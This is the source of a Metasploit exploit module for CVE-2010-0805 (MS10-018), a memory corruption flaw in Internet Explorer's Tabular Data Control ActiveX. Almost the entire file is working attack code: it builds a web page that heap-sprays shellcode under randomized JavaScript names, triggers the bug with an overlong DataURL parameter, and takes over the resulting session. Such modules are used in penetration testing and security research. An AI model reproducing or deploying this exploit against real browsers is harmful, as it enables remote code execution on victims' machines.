1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 |
## # $Id: ms10_018_ie_tabular_activex.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption', 'Description'=> %q{ This module exploits a memory corruption vulnerability in the Internet Explorer Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet Explorer are vulnerable. By specifying a long value as the "DataURL" parameter to this control, it is possible to write a NUL byte outside the bounds of an array. By targeting control flow data on the stack, an attacker can execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Anonymous',# original discovery 'jduck' # metasploit version ], 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2010-0805' ], [ 'OSVDB', '63329' ], [ 'BID', '39025' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-034' ], [ 'MSB', 'MS10-018' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "", #"\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Automatic (Heap Spray)', { 'Ret' => 0x0c0c0c0c } ], ], 'DisclosureDate' => 'Mar 09 2010', 'DefaultTarget'=> 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{target.name})...") # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return\nops ret = Rex::Text.to_unescape([target.ret].pack('V')) # ActiveX parameters #progid = clsid = "333C7BC4-460F-11D0-BC04-0080C7055A83" # exploit url url = "http://" #url << rand_text_alphanumeric(258) url << rand_text_alphanumeric(258+0x116+2) # Construct the final page var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode= rand_text_alpha(rand(100) + 1) var_memory = rand_text_alpha(rand(100) + 1) var_spray= rand_text_alpha(rand(100) + 1) var_i= rand_text_alpha(rand(100) + 1) html = %Q|<html><body> <script> var #{var_memory} = new Array(); var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}("#{ret * 2}"); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0x4000 ); for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; </script> <object classid='clsid:#{clsid}'> <param name='DataURL' value='#{url}'/> </object> </body></html> | # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end end |